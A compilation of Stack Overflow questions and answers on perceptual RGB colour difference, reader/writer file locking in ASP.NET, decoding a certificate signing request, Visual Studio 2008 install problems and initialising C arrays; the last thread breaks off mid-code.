Is there a reliable Delta RGB formula or code snippet that does colour Delta of the full RGB tri stim values, like how DeltaE 2000/cmc does Lab/Lch that takes *perceptual* differences into account? The RGB Colourspace could be any, but if it needed to be a particular one I could keep it sRGB for the calculations. C# is preferred, but I can convert from any language. I currently have a very basic RGB delta formula, but I would like to implement something that gets a truer sense of perceptual colour difference. Current right now is ``` float delta = Math.Sqrt(Math.Pow(r1-r2, 2) + Math.Pow(g1-g2, 2) + Math.Pow(b1-b2, 2)); ``` This is similar to DeltaE 76(lab), but it has the same drawbacks where the perceptual difference is not taken into account. PLEASE don't just do a Google search and paste the first thing you see! There are lots of Delta RGB formula's out there that may be found, but do not take perceptual differences into account. If you have knowledge of this, please comment and/or paste any links to code samples. Also, I already have conversion from RGB to Lab/Lch and then into De2000/cmc. I am not looking for that.
I'm afraid you already gave the only right answer: conversion to a perceptual color space, where the simple delta formula makes sense. Brilliant color scientists have been trying to answer the question of perceptual color differences for over a century. They've looked for a simple RGB formula that works, but human perception is just too complex.
201,066
<p>I have deployed ASP.NET web site and ASP.NET web service on the same web server. Both of them require access to shared file. </p> <p>How to implement/share lock that supports single writers and multiple readers? If somebody reads, nobody can write, but all still can read. If somebody writes, nobody can read/write.</p>
[ { "answer_id": 201113, "author": "Bartek Szabat", "author_id": 23774, "author_profile": "https://Stackoverflow.com/users/23774", "pm_score": 3, "selected": true, "text": "<p>to open file for writing with allowing other threads to read it use System.IO.File.Open method with System.IO.FileShare.Read. Ie.:</p>\n\n<pre><code>System.IO.File.Open(\"path.txt\",System.IO.FileMode.OpenOrCreate,System.IO.FileAccess.ReadWrite,System.IO.FileShare.Read)\n</code></pre>\n\n<p>Other (reading) threads should use System.IO.FileAccess.Read</p>\n\n<p>Signature of Open method:</p>\n\n<pre><code>public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share);\n</code></pre>\n\n<p>UPDATE \nIf you need all instances to ocasionally write to file. Use Mutex class to reserve file writing. Ie.:</p>\n\n<pre><code> Mutex mut = new Mutex(\"filename as mutex name\");\n mut.WaitOne();\n //open file for write, \n //write to file\n //close file\n mut.ReleaseMutex();\n</code></pre>\n\n<p>Hope it helps.</p>\n" }, { "answer_id": 201130, "author": "Dave Markle", "author_id": 24995, "author_profile": "https://Stackoverflow.com/users/24995", "pm_score": 0, "selected": false, "text": "<p>Well, you can do something like this:</p>\n\n<pre><code>public class yourPage {\n static object writeLock = new object();\n void WriteFile(...) {\n lock(writeLock) {\n var sw = new StreamWriter(...);\n ... write to file ...\n }\n}\n</code></pre>\n\n<p>Basically, this solution is only good for cases when the file will be opened for writing a short amount of time. You may want to consider caching the file for readers, or writing the file to a temp file, then renaming it to minimize contention on it.</p>\n" }, { "answer_id": 219961, "author": "jezell", "author_id": 27453, "author_profile": "https://Stackoverflow.com/users/27453", "pm_score": 1, "selected": false, "text": "<p>Use the ReaderWriterLock or ReaderWriterLockSlim (.NET 2.0) class from the System.Threading namespace to handle single writer / multiple reader cases.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/201066", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2625/" ]
I have deployed ASP.NET web site and ASP.NET web service on the same web server. Both of them require access to shared file. How to implement/share lock that supports single writers and multiple readers? If somebody reads, nobody can write, but all still can read. If somebody writes, nobody can read/write.
to open file for writing with allowing other threads to read it use System.IO.File.Open method with System.IO.FileShare.Read. Ie.: ``` System.IO.File.Open("path.txt",System.IO.FileMode.OpenOrCreate,System.IO.FileAccess.ReadWrite,System.IO.FileShare.Read) ``` Other (reading) threads should use System.IO.FileAccess.Read Signature of Open method: ``` public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share); ``` UPDATE If you need all instances to ocasionally write to file. Use Mutex class to reserve file writing. Ie.: ``` Mutex mut = new Mutex("filename as mutex name"); mut.WaitOne(); //open file for write, //write to file //close file mut.ReleaseMutex(); ``` Hope it helps.
201,070
<p>I ran accross a CSR file (Certificate Signing Request) and I need to extract some information from it.</p> <p>There's a way to decode it using .NET Framework?</p>
[ { "answer_id": 353536, "author": "erickson", "author_id": 3474, "author_profile": "https://Stackoverflow.com/users/3474", "pm_score": 5, "selected": false, "text": "<p>It's not .NET, but for interactive use, try the OpenSSL utilities. Specifically:</p>\n\n<pre><code>openssl req -text -in request.csr\n</code></pre>\n" }, { "answer_id": 1945683, "author": "sompops", "author_id": 236782, "author_profile": "https://Stackoverflow.com/users/236782", "pm_score": -1, "selected": false, "text": "<p>Try <a href=\"http://lipingshare.com/Asn1Editor/\" rel=\"nofollow noreferrer\">Liping Dai's website</a>. His LCLib has ASN1 Parser which wrote in C#. It can decode CSR. Work for me. </p>\n" }, { "answer_id": 9493878, "author": "Ε Г И І И О", "author_id": 687190, "author_profile": "https://Stackoverflow.com/users/687190", "pm_score": 4, "selected": true, "text": "<p>Decoding a CSR is easy if you employ the <a href=\"http://openssl-net.sourceforge.net\" rel=\"noreferrer\">OpenSSL.NET</a> library:</p>\n\n<pre><code>// Load the CSR file\nvar csr = new X509Request(BIO.File(\"C:/temp/test.csr\", \"r\"));\nOR\nvar csr = new X509Request(@\"-----BEGIN CERTIFICATE REQUEST-----...\");\n\n// Read CSR file properties\nConsole.WriteLine(csr.PublicKey.GetRSA().PublicKeyAsPEM);\nConsole.WriteLine(csr.Subject.SerialNumber);\nConsole.WriteLine(csr.Subject.Organization);\n.\n.\n.\n</code></pre>\n\n<p>X509Request type has properties to get everything out of your CSR file text.</p>\n" }, { "answer_id": 58915413, "author": "BZanten", "author_id": 1961327, "author_profile": "https://Stackoverflow.com/users/1961327", "pm_score": 4, "selected": false, "text": "<pre><code>certutil -dump file.csr\n</code></pre>\n<p>Will also dump all relevant information. Builtin in Windows by default.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/201070", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7720/" ]
I ran accross a CSR file (Certificate Signing Request) and I need to extract some information from it. There's a way to decode it using .NET Framework?
Decoding a CSR is easy if you employ the [OpenSSL.NET](http://openssl-net.sourceforge.net) library: ``` // Load the CSR file var csr = new X509Request(BIO.File("C:/temp/test.csr", "r")); OR var csr = new X509Request(@"-----BEGIN CERTIFICATE REQUEST-----..."); // Read CSR file properties Console.WriteLine(csr.PublicKey.GetRSA().PublicKeyAsPEM); Console.WriteLine(csr.Subject.SerialNumber); Console.WriteLine(csr.Subject.Organization); . . . ``` X509Request type has properties to get everything out of your CSR file text.
201,087
<p>When trying to install Visual Studio 2008 I get the following message straight away: </p> <blockquote> <p>"You must uninstall all pre-release products in a specific order before you can continue with setup."</p> </blockquote> <p></p> <p>And then it gived me <a href="http://www.microsoft.com/express/support/uninstall/" rel="nofollow noreferrer">this link on how to do that</a>.</p> <p>I've been working on this problem for quite some time now, uninstalling the components as best I can (my list did not actually match microsoft's list), and I can find no trace of the beta software of 3.5 framework anywhere.</p> <p>However, I just remembered something I had to "install" to make my AJAX 1.0 continue to work after installing 3.5 beta 2 - a <a href="http://weblogs.asp.net/scottgu/archive/2007/07/26/vs-2008-and-net-3-5-beta-2-released.aspx" rel="nofollow noreferrer"><strong>batch script provided by ScottGu</strong></a>. I don't know enough to understand what it actually does, but maybe this is something I have to undo in order to make the installation work?!</p> <p>I'm looking for a solution to undo what the batch did, and if that doesn't help I need more tips on how to locate what the problem might be, so that I can finally install Visual Studio 2008.</p> <p>The content of the batch from ScottGu:</p> <pre><code>@ECHO OFF ECHO Disabling publisher policy for System.Web.Extensions. IF EXIST %windir%\assembly\GAC_MSIL\policy.1.0.System.Web.Extensions\3.5.0.0__31bf3856ad364e35\policy.1.0.System.Web.Extensions.cfg ( REN %windir%\assembly\GAC_MSIL\policy.1.0.System.Web.Extensions\3.5.0.0__31bf3856ad364e35\policy.1.0.System.Web.Extensions.cfg policy.1.0.System.Web.Extensions.cfg.disabled IF ERRORLEVEL 1 ( ECHO On Windows Vista this script must be run as administrator. GOTO :END ) ) ECHO Disabling publisher policy for System.Web.Extensions.Design. IF EXIST %windir%\assembly\GAC_MSIL\policy.1.0.System.Web.Extensions.Design\3.5.0.0__31bf3856ad364e35\policy.1.0.System.Web.Extensions.Design.cfg ( REN %windir%\assembly\GAC_MSIL\policy.1.0.System.Web.Extensions.Design\3.5.0.0__31bf3856ad364e35\policy.1.0.System.Web.Extensions.Design.cfg policy.1.0.System.Web.Extensions.Design.cfg.disabled IF ERRORLEVEL 1 ( ECHO On Windows Vista this script must be run as administrator. GOTO :END ) ) :END PAUSE </code></pre>
[ { "answer_id": 201127, "author": "Jason Short", "author_id": 19974, "author_profile": "https://Stackoverflow.com/users/19974", "pm_score": 1, "selected": false, "text": "<p>For me I had to uninstall VSS Report Services for SQL Server. Then uninstall everything SQL Express related, then uninstall Visual Studio. Clean out the registry hive for VS 9.0 and 9.0EXP. THEN it would reinstall. The VS 2008 SP1 RC attempted to update SQL Server Express to 2008 as well. That screwed up a lot of stuff on my box.</p>\n\n<p>I have also read about Silverlight tools causing a conflict. If you installed an RC of them - get it out as well.</p>\n\n<p>The only thing that batch file is doing is overwriting some policy files from 3.5 back to 1.0. Probably because the VS 2008 installer doesn't expect them to have already been updated.</p>\n\n<p>And hopefully this goes back to the old adage - never install Microsoft prerelease on anything by a VM.... (I never do this though)</p>\n" }, { "answer_id": 201224, "author": "thijs", "author_id": 26796, "author_profile": "https://Stackoverflow.com/users/26796", "pm_score": 0, "selected": false, "text": "<p>Maybe there is something here that will help you:\n<a href=\"http://www.brokenwire.net/bw/Programming/58/visual-studio-2008-installfest-problems-with-the-visual-web-developer\" rel=\"nofollow noreferrer\">Visual Studio 2008 InstallFest</a></p>\n\n<p>I wrote that when having trouble installing Visual Studio 2008 on a \"dirty\" pc.</p>\n" }, { "answer_id": 305232, "author": "Paul Kapustin", "author_id": 38325, "author_profile": "https://Stackoverflow.com/users/38325", "pm_score": 0, "selected": false, "text": "<p>I had a different problem - could not uninstall the team suit version.\nThis <a href=\"https://stackoverflow.com/questions/114332/visual-studio-setup-problem-a-problem-has-been-encountered-while-loading-the-se\">SO post</a> and <a href=\"http://msdn.microsoft.com/en-us/vs2008/bb968856.aspx\" rel=\"nofollow noreferrer\">this tool</a> helped me with automatic un-installation, after what I was able to install VS 2008 developer edition.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/201087", "https://Stackoverflow.com", "https://Stackoverflow.com/users/22621/" ]
When trying to install Visual Studio 2008 I get the following message straight away: > > "You must uninstall all pre-release > products in a specific order before > you can continue with setup." > > > And then it gived me [this link on how to do that](http://www.microsoft.com/express/support/uninstall/). I've been working on this problem for quite some time now, uninstalling the components as best I can (my list did not actually match microsoft's list), and I can find no trace of the beta software of 3.5 framework anywhere. However, I just remembered something I had to "install" to make my AJAX 1.0 continue to work after installing 3.5 beta 2 - a [**batch script provided by ScottGu**](http://weblogs.asp.net/scottgu/archive/2007/07/26/vs-2008-and-net-3-5-beta-2-released.aspx). I don't know enough to understand what it actually does, but maybe this is something I have to undo in order to make the installation work?! I'm looking for a solution to undo what the batch did, and if that doesn't help I need more tips on how to locate what the problem might be, so that I can finally install Visual Studio 2008. The content of the batch from ScottGu: ``` @ECHO OFF ECHO Disabling publisher policy for System.Web.Extensions. IF EXIST %windir%\assembly\GAC_MSIL\policy.1.0.System.Web.Extensions\3.5.0.0__31bf3856ad364e35\policy.1.0.System.Web.Extensions.cfg ( REN %windir%\assembly\GAC_MSIL\policy.1.0.System.Web.Extensions\3.5.0.0__31bf3856ad364e35\policy.1.0.System.Web.Extensions.cfg policy.1.0.System.Web.Extensions.cfg.disabled IF ERRORLEVEL 1 ( ECHO On Windows Vista this script must be run as administrator. GOTO :END ) ) ECHO Disabling publisher policy for System.Web.Extensions.Design. IF EXIST %windir%\assembly\GAC_MSIL\policy.1.0.System.Web.Extensions.Design\3.5.0.0__31bf3856ad364e35\policy.1.0.System.Web.Extensions.Design.cfg ( REN %windir%\assembly\GAC_MSIL\policy.1.0.System.Web.Extensions.Design\3.5.0.0__31bf3856ad364e35\policy.1.0.System.Web.Extensions.Design.cfg policy.1.0.System.Web.Extensions.Design.cfg.disabled IF ERRORLEVEL 1 ( ECHO On Windows Vista this script must be run as administrator. GOTO :END ) ) :END PAUSE ```
For me I had to uninstall VSS Report Services for SQL Server. Then uninstall everything SQL Express related, then uninstall Visual Studio. Clean out the registry hive for VS 9.0 and 9.0EXP. THEN it would reinstall. The VS 2008 SP1 RC attempted to update SQL Server Express to 2008 as well. That screwed up a lot of stuff on my box. I have also read about Silverlight tools causing a conflict. If you installed an RC of them - get it out as well. The only thing that batch file is doing is overwriting some policy files from 3.5 back to 1.0. Probably because the VS 2008 installer doesn't expect them to have already been updated. And hopefully this goes back to the old adage - never install Microsoft prerelease on anything by a VM.... (I never do this though)
201,101
<p>I have a large array in <strong>C</strong> (not <strong>C++</strong> if that makes a difference). I want to initialize all members of the same value.</p> <p>I could swear I once knew a simple way to do this. I could use <code>memset()</code> in my case, but isn't there a way to do this that is built right into the C syntax?</p>
[ { "answer_id": 201116, "author": "aib", "author_id": 1088, "author_profile": "https://Stackoverflow.com/users/1088", "pm_score": 11, "selected": true, "text": "<p>Unless that value is 0 (in which case you can omit some part of the initializer\nand the corresponding elements will be initialized to 0), there's no easy way.</p>\n<p>Don't overlook the obvious solution, though:</p>\n<pre><code>int myArray[10] = { 5, 5, 5, 5, 5, 5, 5, 5, 5, 5 };\n</code></pre>\n<p>Elements with missing values will be initialized to 0:</p>\n<pre><code>int myArray[10] = { 1, 2 }; // initialize to 1,2,0,0,0...\n</code></pre>\n<p>So this will initialize all elements to 0:</p>\n<pre><code>int myArray[10] = { 0 }; // all elements 0\n</code></pre>\n<p>In C++, an empty initialization list will also initialize every element to 0.\nThis is <a href=\"https://stackoverflow.com/a/17589839\">not allowed</a> with C until C23:</p>\n<pre><code>int myArray[10] = {}; // all elements 0 in C++ and C23\n</code></pre>\n<p>Remember that objects with static storage duration will initialize to 0 if no\ninitializer is specified:</p>\n<pre><code>static int myArray[10]; // all elements 0\n</code></pre>\n<p>And that &quot;0&quot; doesn't necessarily mean &quot;all-bits-zero&quot;, so using the above is\nbetter and more portable than memset(). (Floating point values will be\ninitialized to +0, pointers to null value, etc.)</p>\n" }, { "answer_id": 201118, "author": "warren", "author_id": 4418, "author_profile": "https://Stackoverflow.com/users/4418", "pm_score": 3, "selected": false, "text": "<p>For initializing 'normal' data types (like int arrays), you can use the bracket notation, but it will zero the values after the last if there is still space in the array:</p>\n\n<pre><code>// put values 1-8, then two zeroes\nint list[10] = {1,2,3,4,5,6,7,8};\n</code></pre>\n" }, { "answer_id": 201150, "author": "plinth", "author_id": 20481, "author_profile": "https://Stackoverflow.com/users/20481", "pm_score": 4, "selected": false, "text": "<p>You can do the whole static initializer thing as detailed above, but it can be a real bummer when your array size changes (when your array embiggens, if you don't add the appropriate extra initializers you get garbage).</p>\n\n<p>memset gives you a runtime hit for doing the work, but no code size hit done right is immune to array size changes. I would use this solution in nearly all cases when the array was larger than, say, a few dozen elements.</p>\n\n<p>If it was really important that the array was statically declared, I'd write a program to write the program for me and make it part of the build process.</p>\n" }, { "answer_id": 201164, "author": "Tarski", "author_id": 27653, "author_profile": "https://Stackoverflow.com/users/27653", "pm_score": 5, "selected": false, "text": "<pre><code>int i;\nfor (i = 0; i &lt; ARRAY_SIZE; ++i)\n{\n myArray[i] = VALUE;\n}\n</code></pre>\n\n<p>I think this is better than</p>\n\n<pre><code>int myArray[10] = { 5, 5, 5, 5, 5, 5, 5, 5, 5, 5...\n</code></pre>\n\n<p>incase the size of the array changes.</p>\n" }, { "answer_id": 201264, "author": "ddimitrov", "author_id": 18187, "author_profile": "https://Stackoverflow.com/users/18187", "pm_score": 3, "selected": false, "text": "<p>If the array happens to be int or anything with the size of int or your mem-pattern's size fits exact times into an int (i.e. all zeroes or 0xA5A5A5A5), the best way is to use <a href=\"http://www.cplusplus.com/reference/clibrary/cstring/memset.html\" rel=\"noreferrer\">memset()</a>.</p>\n\n<p>Otherwise call memcpy() in a loop moving the index.</p>\n" }, { "answer_id": 202277, "author": "Frank Szczerba", "author_id": 8964, "author_profile": "https://Stackoverflow.com/users/8964", "pm_score": 6, "selected": false, "text": "<p>If you want to ensure that every member of the array is explicitly initialized, just omit the dimension from the declaration:</p>\n\n<pre><code>int myArray[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9 };\n</code></pre>\n\n<p>The compiler will deduce the dimension from the initializer list. Unfortunately, for multidimensional arrays only the outermost dimension may be omitted:</p>\n\n<pre><code>int myPoints[][3] = { { 1, 2, 3 }, { 4, 5, 6 }, { 7, 8, 9} };\n</code></pre>\n\n<p>is OK, but</p>\n\n<pre><code>int myPoints[][] = { { 1, 2, 3 }, { 4, 5, 6 }, { 7, 8, 9} };\n</code></pre>\n\n<p>is not.</p>\n" }, { "answer_id": 203056, "author": "humble_guru", "author_id": 23961, "author_profile": "https://Stackoverflow.com/users/23961", "pm_score": 3, "selected": false, "text": "<p>Here is another way:</p>\n\n<pre><code>static void\nunhandled_interrupt(struct trap_frame *frame, int irq, void *arg)\n{\n //this code intentionally left blank\n}\n\nstatic struct irqtbl_s vector_tbl[XCHAL_NUM_INTERRUPTS] = {\n [0 ... XCHAL_NUM_INTERRUPTS-1] {unhandled_interrupt, NULL},\n};\n</code></pre>\n\n<p>See:</p>\n\n<p><a href=\"http://gcc.gnu.org/onlinedocs/gcc-4.1.2/gcc/C-Extensions.html#C-Extensions\" rel=\"noreferrer\">C-Extensions</a></p>\n\n<p>Designated inits</p>\n\n<p>Then ask the question: When can one use C extensions?</p>\n\n<p>The code sample above is in an embedded system and will never see the light from another compiler. </p>\n" }, { "answer_id": 207702, "author": "qrdl", "author_id": 28494, "author_profile": "https://Stackoverflow.com/users/28494", "pm_score": 9, "selected": false, "text": "<p>If your compiler is GCC you can use following &quot;GNU extension&quot; syntax:</p>\n<pre><code>int array[1024] = {[0 ... 1023] = 5};\n</code></pre>\n<p>Check out detailed description:\n<a href=\"http://gcc.gnu.org/onlinedocs/gcc-4.1.2/gcc/Designated-Inits.html\" rel=\"noreferrer\">http://gcc.gnu.org/onlinedocs/gcc-4.1.2/gcc/Designated-Inits.html</a></p>\n" }, { "answer_id": 1563541, "author": "sambowry", "author_id": 172856, "author_profile": "https://Stackoverflow.com/users/172856", "pm_score": -1, "selected": false, "text": "<p>I see no requirements in the question, so the solution must be generic: initialization of an unspecified possibly multidimensional array built from unspecified possibly structure elements with an initial member value:</p>\n\n<pre><code>#include &lt;string.h> \n\nvoid array_init( void *start, size_t element_size, size_t elements, void *initval ){\n memcpy( start, initval, element_size );\n memcpy( (char*)start+element_size, start, element_size*(elements-1) );\n}\n\n// testing\n#include &lt;stdio.h> \n\nstruct s {\n int a;\n char b;\n} array[2][3], init;\n\nint main(){\n init = (struct s){.a = 3, .b = 'x'};\n array_init( array, sizeof(array[0][0]), 2*3, &init );\n\n for( int i=0; i&lt;2; i++ )\n for( int j=0; j&lt;3; j++ )\n printf(\"array[%i][%i].a = %i .b = '%c'\\n\",i,j,array[i][j].a,array[i][j].b);\n}\n</code></pre>\n\n<p>Result:</p>\n\n<pre><code>array[0][0].a = 3 .b = 'x'\narray[0][1].a = 3 .b = 'x'\narray[0][2].a = 3 .b = 'x'\narray[1][0].a = 3 .b = 'x'\narray[1][1].a = 3 .b = 'x'\narray[1][2].a = 3 .b = 'x'\n</code></pre>\n\n<p>EDIT: <code>start+element_size</code> changed to <code>(char*)start+element_size</code></p>\n" }, { "answer_id": 1565469, "author": "mouviciel", "author_id": 45249, "author_profile": "https://Stackoverflow.com/users/45249", "pm_score": 8, "selected": false, "text": "<p>For statically initializing a large array with the same value, without multiple copy-paste, you can use macros:</p>\n\n<pre><code>#define VAL_1X 42\n#define VAL_2X VAL_1X, VAL_1X\n#define VAL_4X VAL_2X, VAL_2X\n#define VAL_8X VAL_4X, VAL_4X\n#define VAL_16X VAL_8X, VAL_8X\n#define VAL_32X VAL_16X, VAL_16X\n#define VAL_64X VAL_32X, VAL_32X\n\nint myArray[53] = { VAL_32X, VAL_16X, VAL_4X, VAL_1X };\n</code></pre>\n\n<p>If you need to change the value, you have to do the replacement at only one place.</p>\n\n<h2>Edit: possible useful extensions</h2>\n\n<p>(courtesy of <a href=\"https://stackoverflow.com/users/15168/jonathan-leffler\">Jonathan Leffler</a>)</p>\n\n<p>You can easily generalize this with:</p>\n\n<pre><code>#define VAL_1(X) X\n#define VAL_2(X) VAL_1(X), VAL_1(X)\n/* etc. */\n</code></pre>\n\n<p>A variant can be created using:</p>\n\n<pre><code>#define STRUCTVAL_1(...) { __VA_ARGS__ }\n#define STRUCTVAL_2(...) STRUCTVAL_1(__VA_ARGS__), STRUCTVAL_1(__VA_ARGS__)\n/*etc */ \n</code></pre>\n\n<p>that works with structures or compound arrays.</p>\n\n<pre><code>#define STRUCTVAL_48(...) STRUCTVAL_32(__VA_ARGS__), STRUCTVAL_16(__VA_ARGS__)\n\nstruct Pair { char key[16]; char val[32]; };\nstruct Pair p_data[] = { STRUCTVAL_48(\"Key\", \"Value\") };\nint a_data[][4] = { STRUCTVAL_48(12, 19, 23, 37) };\n</code></pre>\n\n<p>macro names are negotiable. </p>\n" }, { "answer_id": 1565491, "author": "High Performance Mark", "author_id": 44309, "author_profile": "https://Stackoverflow.com/users/44309", "pm_score": 3, "selected": false, "text": "<p>A slightly tongue-in-cheek answer; write the statement</p>\n\n<pre><code>array = initial_value\n</code></pre>\n\n<p>in your favourite array-capable language (mine is Fortran, but there are many others), and link it to your C code. You'd probably want to wrap it up to be an external function.</p>\n" }, { "answer_id": 9812815, "author": "abelenky", "author_id": 34824, "author_profile": "https://Stackoverflow.com/users/34824", "pm_score": 6, "selected": false, "text": "<p>I saw some code that used this syntax:</p>\n\n<pre><code>char* array[] = \n{\n [0] = \"Hello\",\n [1] = \"World\"\n}; \n</code></pre>\n\n<p>Where it becomes particularly useful is if you're making an array that uses enums as the index:</p>\n\n<pre><code>enum\n{\n ERR_OK,\n ERR_FAIL,\n ERR_MEMORY\n};\n\n#define _ITEM(x) [x] = #x\n\nchar* array[] = \n{\n _ITEM(ERR_OK),\n _ITEM(ERR_FAIL),\n _ITEM(ERR_MEMORY)\n}; \n</code></pre>\n\n<p>This keeps things in order, even if you happen to write some of the enum-values out of order.</p>\n\n<p>More about this technique can be found <a href=\"http://publib.boulder.ibm.com/infocenter/lnxpcomp/v8v101/index.jsp?topic=/com.ibm.xlcpp8l.doc/language/ref/aryin.htm\">here</a> and <a href=\"http://stupefydeveloper.blogspot.com/2008/10/c-initializing-arrays.html\">here</a>.</p>\n" }, { "answer_id": 31689250, "author": "Maciej", "author_id": 4895229, "author_profile": "https://Stackoverflow.com/users/4895229", "pm_score": 3, "selected": false, "text": "<p>There is a fast way to initialize array of any type with given value. It works very well with large arrays. Algorithm is as follows:</p>\n\n<ul>\n<li>initialize first element of the array (usual way)</li>\n<li>copy part which has been set into part which has not been set, doubling the size with each next copy operation</li>\n</ul>\n\n<hr>\n\n<p>For <code>1 000 000</code> elements <code>int</code> array it is 4 times faster than regular loop initialization (i5, 2 cores, 2.3 GHz, 4GiB memory, 64 bits):</p>\n\n<p><code>loop runtime 0.004248 [seconds]</code></p>\n\n<p><code>memfill() runtime 0.001085 [seconds]</code> </p>\n\n<hr>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;time.h&gt;\n#include &lt;string.h&gt;\n#define ARR_SIZE 1000000\n\nvoid memfill(void *dest, size_t destsize, size_t elemsize) {\n char *nextdest = (char *) dest + elemsize;\n size_t movesize, donesize = elemsize;\n\n destsize -= elemsize;\n while (destsize) {\n movesize = (donesize &lt; destsize) ? donesize : destsize;\n memcpy(nextdest, dest, movesize);\n nextdest += movesize; destsize -= movesize; donesize += movesize;\n }\n} \nint main() {\n clock_t timeStart;\n double runTime;\n int i, a[ARR_SIZE];\n\n timeStart = clock();\n for (i = 0; i &lt; ARR_SIZE; i++)\n a[i] = 9; \n runTime = (double)(clock() - timeStart) / (double)CLOCKS_PER_SEC;\n printf(\"loop runtime %f [seconds]\\n\",runTime);\n\n timeStart = clock();\n a[0] = 10;\n memfill(a, sizeof(a), sizeof(a[0]));\n runTime = (double)(clock() - timeStart) / (double)CLOCKS_PER_SEC;\n printf(\"memfill() runtime %f [seconds]\\n\",runTime);\n return 0;\n}\n</code></pre>\n" }, { "answer_id": 31689749, "author": "Hannah Zhang", "author_id": 4697850, "author_profile": "https://Stackoverflow.com/users/4697850", "pm_score": 2, "selected": false, "text": "<ol>\n<li>If your array is declared as static or is global, all the elements\nin the array already have default default value 0.</li>\n<li>Some compilers set array's the default to 0 in debug mode. </li>\n<li>It is easy to set default to 0 : \nint array[10] = {0}; </li>\n<li>However, for other values, you have use memset() or loop;</li>\n</ol>\n\n<p>example:\n int array[10];\n memset(array,-1, 10 *sizeof(int));</p>\n" }, { "answer_id": 35242706, "author": "hkBattousai", "author_id": 245376, "author_profile": "https://Stackoverflow.com/users/245376", "pm_score": 2, "selected": false, "text": "<p>Nobody has mentioned the index order to access the elements of the initialized array. My example code will give an illustrative example to it.</p>\n\n<pre><code>#include &lt;iostream&gt;\n\nvoid PrintArray(int a[3][3])\n{\n std::cout &lt;&lt; \"a11 = \" &lt;&lt; a[0][0] &lt;&lt; \"\\t\\t\" &lt;&lt; \"a12 = \" &lt;&lt; a[0][1] &lt;&lt; \"\\t\\t\" &lt;&lt; \"a13 = \" &lt;&lt; a[0][2] &lt;&lt; std::endl;\n std::cout &lt;&lt; \"a21 = \" &lt;&lt; a[1][0] &lt;&lt; \"\\t\\t\" &lt;&lt; \"a22 = \" &lt;&lt; a[1][1] &lt;&lt; \"\\t\\t\" &lt;&lt; \"a23 = \" &lt;&lt; a[1][2] &lt;&lt; std::endl;\n std::cout &lt;&lt; \"a31 = \" &lt;&lt; a[2][0] &lt;&lt; \"\\t\\t\" &lt;&lt; \"a32 = \" &lt;&lt; a[2][1] &lt;&lt; \"\\t\\t\" &lt;&lt; \"a33 = \" &lt;&lt; a[2][2] &lt;&lt; std::endl;\n std::cout &lt;&lt; std::endl;\n}\n\nint wmain(int argc, wchar_t * argv[])\n{\n int a1[3][3] = { 11, 12, 13, // The most\n 21, 22, 23, // basic\n 31, 32, 33 }; // format.\n\n int a2[][3] = { 11, 12, 13, // The first (outer) dimension\n 21, 22, 23, // may be omitted. The compiler\n 31, 32, 33 }; // will automatically deduce it.\n\n int a3[3][3] = { {11, 12, 13}, // The elements of each\n {21, 22, 23}, // second (inner) dimension\n {31, 32, 33} }; // can be grouped together.\n\n int a4[][3] = { {11, 12, 13}, // Again, the first dimension\n {21, 22, 23}, // can be omitted when the \n {31, 32, 33} }; // inner elements are grouped.\n\n PrintArray(a1);\n PrintArray(a2);\n PrintArray(a3);\n PrintArray(a4);\n\n // This part shows in which order the elements are stored in the memory.\n int * b = (int *) a1; // The output is the same for the all four arrays.\n for (int i=0; i&lt;9; i++)\n {\n std::cout &lt;&lt; b[i] &lt;&lt; '\\t';\n }\n\n return 0;\n}\n</code></pre>\n\n<p>The output is:</p>\n\n<pre><code>a11 = 11 a12 = 12 a13 = 13\na21 = 21 a22 = 22 a23 = 23\na31 = 31 a32 = 32 a33 = 33\n\na11 = 11 a12 = 12 a13 = 13\na21 = 21 a22 = 22 a23 = 23\na31 = 31 a32 = 32 a33 = 33\n\na11 = 11 a12 = 12 a13 = 13\na21 = 21 a22 = 22 a23 = 23\na31 = 31 a32 = 32 a33 = 33\n\na11 = 11 a12 = 12 a13 = 13\na21 = 21 a22 = 22 a23 = 23\na31 = 31 a32 = 32 a33 = 33\n\n11 12 13 21 22 23 31 32 33\n</code></pre>\n" }, { "answer_id": 40440405, "author": "JWDN", "author_id": 2291702, "author_profile": "https://Stackoverflow.com/users/2291702", "pm_score": 2, "selected": false, "text": "<p>Cutting through all the chatter, the short answer is that if you turn on optimization at compile time you won't do better than this: </p>\n\n<pre><code>int i,value=5,array[1000]; \nfor(i=0;i&lt;1000;i++) array[i]=value; \n</code></pre>\n\n<p>Added bonus: the code is actually legible :)</p>\n" }, { "answer_id": 46949376, "author": "Dadhich Sourav", "author_id": 8392085, "author_profile": "https://Stackoverflow.com/users/8392085", "pm_score": -1, "selected": false, "text": "<pre><code>#include&lt;stdio.h&gt;\nint main(){\nint i,a[50];\nfor (i=0;i&lt;50;i++){\n a[i]=5;// set value 5 to all the array index\n}\nfor (i=0;i&lt;50;i++)\nprintf(\"%d\\n\",a[i]);\n return 0;\n}\n</code></pre>\n\n<p>It will give the o/p 5 5 5 5 5 5 ...... till the size of whole array</p>\n" }, { "answer_id": 48490456, "author": "Francis Cugler", "author_id": 1757805, "author_profile": "https://Stackoverflow.com/users/1757805", "pm_score": 1, "selected": false, "text": "<p>I know that user <code>Tarski</code> answered this question in a similar manner, but I added a few more details. Forgive some of my C for I'm a bit rusty at it since I'm more inclined to want to use C++, but here it goes.</p>\n\n<hr>\n\n<p>If you know the size of the array ahead of time...</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\ntypedef const unsigned int cUINT;\ntypedef unsigned int UINT;\n\ncUINT size = 10;\ncUINT initVal = 5;\n\nvoid arrayInitializer( UINT* myArray, cUINT size, cUINT initVal );\nvoid printArray( UINT* myArray ); \n\nint main() { \n UINT myArray[size]; \n /* Not initialized during declaration but can be\n initialized using a function for the appropriate TYPE*/\n arrayInitializer( myArray, size, initVal );\n\n printArray( myArray );\n\n return 0;\n}\n\nvoid arrayInitializer( UINT* myArray, cUINT size, cUINT initVal ) {\n for ( UINT n = 0; n &lt; size; n++ ) {\n myArray[n] = initVal;\n }\n}\n\nvoid printArray( UINT* myArray ) {\n printf( \"myArray = { \" );\n for ( UINT n = 0; n &lt; size; n++ ) {\n printf( \"%u\", 